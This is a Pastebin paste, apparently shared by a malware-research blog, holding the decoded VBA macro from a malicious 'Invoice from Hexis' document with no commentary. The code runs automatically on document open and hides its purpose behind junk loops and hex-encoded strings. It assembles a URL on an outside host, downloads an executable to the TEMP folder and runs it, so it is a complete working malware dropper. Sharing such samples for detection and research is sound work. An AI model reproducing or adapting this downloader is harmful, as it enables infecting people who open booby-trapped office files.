Advertisement
Guest User

Invoice from Hexis decoded

a guest
Jan 15th, 2015
339
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.89 KB | None | 0 0
  1. Sanesecurity ClamAV blog: zero hour malware, phishing and scams
  2. A hopefully interesting blog from the world of zero hour malware, phishing, scams and spams
  3. http://sanesecurity.blogspot.co.uk/
  4.  
  5. Attribute VB_Name = "ThisDocument"
  6. Attribute VB_Base = "1Normal.ThisDocument"
  7. Attribute VB_GlobalNameSpace = False
  8. Attribute VB_Creatable = False
  9. Attribute VB_PredeclaredId = True
  10. Attribute VB_Exposed = True
  11. Attribute VB_TemplateDerived = True
  12. Attribute VB_Customizable = True
  13. #If VBA7 Then
  14. Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  15. "URLDownloadToFileA" (ByVal dsfsdf As LongPtr, _
  16. ByVal sdfsdfgds As String, _
  17. ByVal yurtysdf As String, _
  18. ByVal iufdsd As Long, _
  19. ByVal vbxdfsdf As LongPtr) As LongPtr
  20. #Else
  21. Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
  22. "URLDownloadToFileA" (ByVal dsfsdf As Long, _
  23. ByVal sdfsdfgds As String, _
  24. ByVal yurtysdf As String, _
  25. ByVal iufdsd As Long, _
  26. ByVal vbxdfsdf As Long) As Long
  27. #End If
  28.  
  29.  
  30. Sub uiwefds()
  31. Dim JzOjvKld As Integer
  32. For JzOjvKld = 0 To 1
  33. Dim pBBdhbMj As Integer
  34. For pBBdhbMj = 0 To 9
  35. Dim MQeaXHnQ As Integer
  36. For MQeaXHnQ = 0 To 7
  37. DoEvents
  38. Next MQeaXHnQ
  39. DoEvents
  40. Next pBBdhbMj
  41. Dim PLCvpaGo As Integer
  42. For PLCvpaGo = 0 To 5
  43. DoEvents
  44. Next PLCvpaGo
  45. DoEvents
  46. Next JzOjvKld
  47. Dim ByLPRPoF As Integer
  48. For ByLPRPoF = 0 To 8
  49. Dim KzYSAJew As Integer
  50. For KzYSAJew = 0 To 6
  51. DoEvents
  52. Next KzYSAJew
  53. DoEvents
  54. Next ByLPRPoF
  55. Dim UonpGakM As Integer
  56. For UonpGakM = 0 To 5
  57. DoEvents
  58. Next UonpGakM
  59. UGivgHgfdg
  60. End Sub
  61. Sub AutoOpen()
  62. Dim HipjVMDI As Integer
  63. For HipjVMDI = 0 To 6
  64. Dim FldilXKU As Integer
  65. For FldilXKU = 0 To 3
  66. Dim neEzgwIm As Integer
  67. For neEzgwIm = 0 To 7
  68. DoEvents
  69. Next neEzgwIm
  70. DoEvents
  71. Next FldilXKU
  72. Dim jpxnEYVL As Integer
  73. For jpxnEYVL = 0 To 5
  74. DoEvents
  75. Next jpxnEYVL
  76. DoEvents
  77. Next HipjVMDI
  78. Dim KNMUJHlQ As Integer
  79. For KNMUJHlQ = 0 To 3
  80. Dim IiYHosKX As Integer
  81. For IiYHosKX = 0 To 1
  82. DoEvents
  83. Next IiYHosKX
  84. DoEvents
  85. Next KNMUJHlQ
  86. Dim qMjVLPPI As Integer
  87. For qMjVLPPI = 0 To 6
  88. DoEvents
  89. Next qMjVLPPI
  90. uiwefds
  91. End Sub
  92. Sub Workbook_Open()
  93. Dim zFxkURlO As Integer
  94. For zFxkURlO = 0 To 3
  95. Dim WUxmpDbh As Integer
  96. For WUxmpDbh = 0 To 7
  97. Dim NiIUHMrP As Integer
  98. For NiIUHMrP = 0 To 8
  99. DoEvents
  100. Next NiIUHMrP
  101. DoEvents
  102. Next WUxmpDbh
  103. Dim AVCbuhOj As Integer
  104. For AVCbuhOj = 0 To 4
  105. DoEvents
  106. Next AVCbuhOj
  107. DoEvents
  108. Next zFxkURlO
  109. Dim cliZMskz As Integer
  110. For cliZMskz = 0 To 3
  111. Dim TnVmmvfd As Integer
  112. For TnVmmvfd = 0 To 4
  113. DoEvents
  114. Next TnVmmvfd
  115. DoEvents
  116. Next cliZMskz
  117. Dim LJnsAqIf As Integer
  118. For LJnsAqIf = 0 To 7
  119. DoEvents
  120. Next LJnsAqIf
  121. uiwefds
  122. End Sub
  123. Sub UGivgHgfdg()
  124. Dim aMXkuYDt As Integer
  125. For aMXkuYDt = 0 To 6
  126. Dim VhVjCVvI As Integer
  127. For VhVjCVvI = 0 To 4
  128. Dim ylrNCMWQ As Integer
  129. For ylrNCMWQ = 0 To 3
  130. DoEvents
  131. Next ylrNCMWQ
  132. DoEvents
  133. Next VhVjCVvI
  134. Dim lHpAOReT As Integer
  135. For lHpAOReT = 0 To 6
  136. DoEvents
  137. Next lHpAOReT
  138. DoEvents
  139. Next aMXkuYDt
  140. Dim DZwbJyAN As Integer
  141. For DZwbJyAN = 0 To 2
  142. Dim WEDuKupQ As Integer
  143. For WEDuKupQ = 0 To 1
  144. DoEvents
  145. Next WEDuKupQ
  146. DoEvents
  147. Next DZwbJyAN
  148. Dim pMhVBLRS As Integer
  149. For pMhVBLRS = 0 To 6
  150.  
  151. Next pMhVBLRS
  152. ghKJfg = gHBJdsg("6874")
  153. jnkdsf = gHBJdsg("74703A2F2F")
  154. hdsjkf = gHBJdsg("6472616D616B617A756B692E6B657361676972692E6E65742F6A732F62696E2E657865")
  155. ewrwefdsf = ghKJfg + jnkdsf + hdsjkf
  156.  
  157. Dim IzqfqBCT As Integer
  158. For IzqfqBCT = 0 To 2
  159. Dim qJRLoONV As Integer
  160. For qJRLoONV = 0 To 7
  161. Dim tbUUVMUg As Integer
  162. For tbUUVMUg = 0 To 6
  163. DoEvents
  164. Next tbUUVMUg
  165. DoEvents
  166. Next qJRLoONV
  167. Dim tnRLuKkx As Integer
  168. For tnRLuKkx = 0 To 6
  169. DoEvents
  170. Next tnRLuKkx
  171. DoEvents
  172. Next IzqfqBCT
  173. Dim NrzarJeg As Integer
  174. For NrzarJeg = 0 To 5
  175. Dim yxXAyyyv As Integer
  176. For yxXAyyyv = 0 To 9
  177. DoEvents
  178. Next yxXAyyyv
  179. DoEvents
  180. Next NrzarJeg
  181. Dim JzPxPklW As Integer
  182. For JzPxPklW = 0 To 6
  183. DoEvents
  184. Next JzPxPklW
  185. ewwfgfdg = Environ(gHBJdsg("54454D50")) & gHBJdsg("5C6473667364662E657865")
  186. Dim ETUbKtRJ As Integer
  187. For ETUbKtRJ = 0 To 4
  188. Dim IiOcPqqr As Integer
  189. For IiOcPqqr = 0 To 8
  190. Dim CwnoVirg As Integer
  191. For CwnoVirg = 0 To 4
  192. DoEvents
  193. Next CwnoVirg
  194. DoEvents
  195. Next IiOcPqqr
  196. Dim ONhNGOcj As Integer
  197. For ONhNGOcj = 0 To 2
  198. DoEvents
  199. Next ONhNGOcj
  200. DoEvents
  201. Next ETUbKtRJ
  202. Dim pBVhaYHP As Integer
  203. For pBVhaYHP = 0 To 4
  204. Dim wYauEKwW As Integer
  205. For wYauEKwW = 0 To 6
  206. DoEvents
  207. Next wYauEKwW
  208. DoEvents
  209. Next pBVhaYHP
  210. Dim LJYSRlqY As Integer
  211. For LJYSRlqY = 0 To 1
  212. DoEvents
  213. Next LJYSRlqY
  214. wqewr = URLDownloadToFile(0&, ewrwefdsf, ewwfgfdg, 0&, 0&)
  215. Dim gffUYUdfg
  216. Dim YgpqTtOy As Integer
  217. For YgpqTtOy = 0 To 2
  218. Dim QSZWppCH As Integer
  219. For QSZWppCH = 0 To 2
  220. Dim ZJYDvLqr As Integer
  221. For ZJYDvLqr = 0 To 9
  222. DoEvents
  223. Next ZJYDvLqr
  224. DoEvents
  225. Next QSZWppCH
  226. Dim NaskblaF As Integer
  227. For NaskblaF = 0 To 5
  228. DoEvents
  229. Next NaskblaF
  230. DoEvents
  231. Next YgpqTtOy
  232. Dim dEJDnTZw As Integer
  233. For dEJDnTZw = 0 To 7
  234. Dim sGQchASM As Integer
  235. For sGQchASM = 0 To 4
  236. DoEvents
  237. Next sGQchASM
  238. DoEvents
  239. Next dEJDnTZw
  240. Dim wRiSDhtL As Integer
  241. For wRiSDhtL = 0 To 6
  242. DoEvents
  243. Next wRiSDhtL
  244. gffUYUdfg = Shell(ewwfgfdg, 1)
  245.  
  246. End Sub
  247. Public Function gHBJdsg(ByVal hextext As String) As String
  248.  
  249. Dim wWbztFwG As Integer
  250.  
  251. Dim GUPqhtPg As Integer
  252. GUPqhtPg = 5
  253. Do While GUPqhtPg < 48
  254. DoEvents: GUPqhtPg = GUPqhtPg + 1
  255. Loop
  256.  
  257. wWbztFwG = 2
  258. Do While wWbztFwG < 12
  259.  
  260. Dim uRXhQDWq As Integer
  261. uRXhQDWq = 8
  262. Do While uRXhQDWq < 78
  263. DoEvents: uRXhQDWq = uRXhQDWq + 1
  264. Loop
  265.  
  266. DoEvents: wWbztFwG = wWbztFwG + 1
  267.  
  268. Dim EVQinjcM As Integer
  269. EVQinjcM = 3
  270. Do While EVQinjcM < 84
  271. DoEvents: EVQinjcM = EVQinjcM + 1
  272. Loop
  273.  
  274. Loop
  275.  
  276.  
  277. Dim yPwhqFgT As Integer
  278. yPwhqFgT = 8
  279. Do While yPwhqFgT < 42
  280. DoEvents: yPwhqFgT = yPwhqFgT + 1
  281. Loop
  282.  
  283.  
  284. For y = 1 To Len(hextext)
  285.  
  286. Dim DKQuAxYQ As Integer
  287.  
  288. Dim ApQiblsP As Integer
  289. ApQiblsP = 3
  290. Do While ApQiblsP < 76
  291. DoEvents: ApQiblsP = ApQiblsP + 1
  292. Loop
  293.  
  294. DKQuAxYQ = 5
  295. Do While DKQuAxYQ < 41
  296.  
  297. Dim rXwhqJex As Integer
  298. rXwhqJex = 8
  299. Do While rXwhqJex < 34
  300. DoEvents: rXwhqJex = rXwhqJex + 1
  301. Loop
  302.  
  303. DoEvents: DKQuAxYQ = DKQuAxYQ + 1
  304.  
  305. Dim GPlvEueK As Integer
  306. GPlvEueK = 3
  307. Do While GPlvEueK < 49
  308. DoEvents: GPlvEueK = GPlvEueK + 1
  309. Loop
  310.  
  311. Loop
  312.  
  313.  
  314. Dim jxtTfTWR As Integer
  315. jxtTfTWR = 7
  316. Do While jxtTfTWR < 96
  317. DoEvents: jxtTfTWR = jxtTfTWR + 1
  318. Loop
  319.  
  320. num = Mid(hextext, y, 2)
  321.  
  322. Dim qsnBhNom As Integer
  323.  
  324. Dim RVFXklSQ As Integer
  325. RVFXklSQ = 3
  326. Do While RVFXklSQ < 59
  327. DoEvents: RVFXklSQ = RVFXklSQ + 1
  328. Loop
  329.  
  330. qsnBhNom = 9
  331. Do While qsnBhNom < 46
  332.  
  333. Dim mtIlYZzo As Integer
  334. mtIlYZzo = 1
  335. Do While mtIlYZzo < 65
  336. DoEvents: mtIlYZzo = mtIlYZzo + 1
  337. Loop
  338.  
  339. DoEvents: qsnBhNom = qsnBhNom + 1
  340.  
  341. Dim DKDBypFV As Integer
  342. DKDBypFV = 5
  343. Do While DKDBypFV < 41
  344. DoEvents: DKDBypFV = DKDBypFV + 1
  345. Loop
  346.  
  347. Loop
  348.  
  349.  
  350. Dim EBUcmmrw As Integer
  351. EBUcmmrw = 3
  352. Do While EBUcmmrw < 22
  353. DoEvents: EBUcmmrw = EBUcmmrw + 1
  354. Loop
  355.  
  356. Value = Value & Chr(CDbl("&h" & num))
  357.  
  358. Dim lqyAAJfk As Integer
  359.  
  360. Dim HnhDciWZ As Integer
  361. HnhDciWZ = 5
  362. Do While HnhDciWZ < 19
  363. DoEvents: HnhDciWZ = HnhDciWZ + 1
  364. Loop
  365.  
  366. lqyAAJfk = 1
  367. Do While lqyAAJfk < 94
  368.  
  369. Dim JwOgaoKJ As Integer
  370. JwOgaoKJ = 5
  371. Do While JwOgaoKJ < 18
  372. DoEvents: JwOgaoKJ = JwOgaoKJ + 1
  373. Loop
  374.  
  375. DoEvents: lqyAAJfk = lqyAAJfk + 1
  376.  
  377. Dim AqUclcKd As Integer
  378. AqUclcKd = 9
  379. Do While AqUclcKd < 24
  380. DoEvents: AqUclcKd = AqUclcKd + 1
  381. Loop
  382.  
  383. Loop
  384.  
  385.  
  386. Dim kkAWIUuP As Integer
  387. kkAWIUuP = 8
  388. Do While kkAWIUuP < 96
  389. DoEvents: kkAWIUuP = kkAWIUuP + 1
  390. Loop
  391.  
  392. y = y + 1
  393. Next y
  394.  
  395.  
  396. Dim ljYAaKUD As Integer
  397.  
  398. Dim HEaLjCxl As Integer
  399. HEaLjCxl = 5
  400. Do While HEaLjCxl < 19
  401. DoEvents: HEaLjCxl = HEaLjCxl + 1
  402. Loop
  403.  
  404. ljYAaKUD = 1
  405. Do While ljYAaKUD < 67
  406.  
  407. Dim YPWkTuQH As Integer
  408. YPWkTuQH = 3
  409. Do While YPWkTuQH < 82
  410. DoEvents: YPWkTuQH = YPWkTuQH + 1
  411. Loop
  412.  
  413. DoEvents: ljYAaKUD = ljYAaKUD + 1
  414.  
  415. Dim fLpdInWj As Integer
  416. fLpdInWj = 9
  417. Do While fLpdInWj < 81
  418. DoEvents: fLpdInWj = fLpdInWj + 1
  419. Loop
  420.  
  421. Loop
  422.  
  423.  
  424. Dim kwdanxIn As Integer
  425. kwdanxIn = 1
  426. Do While kwdanxIn < 96
  427. DoEvents: kwdanxIn = kwdanxIn + 1
  428. Loop
  429.  
  430. gHBJdsg = Value
  431. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement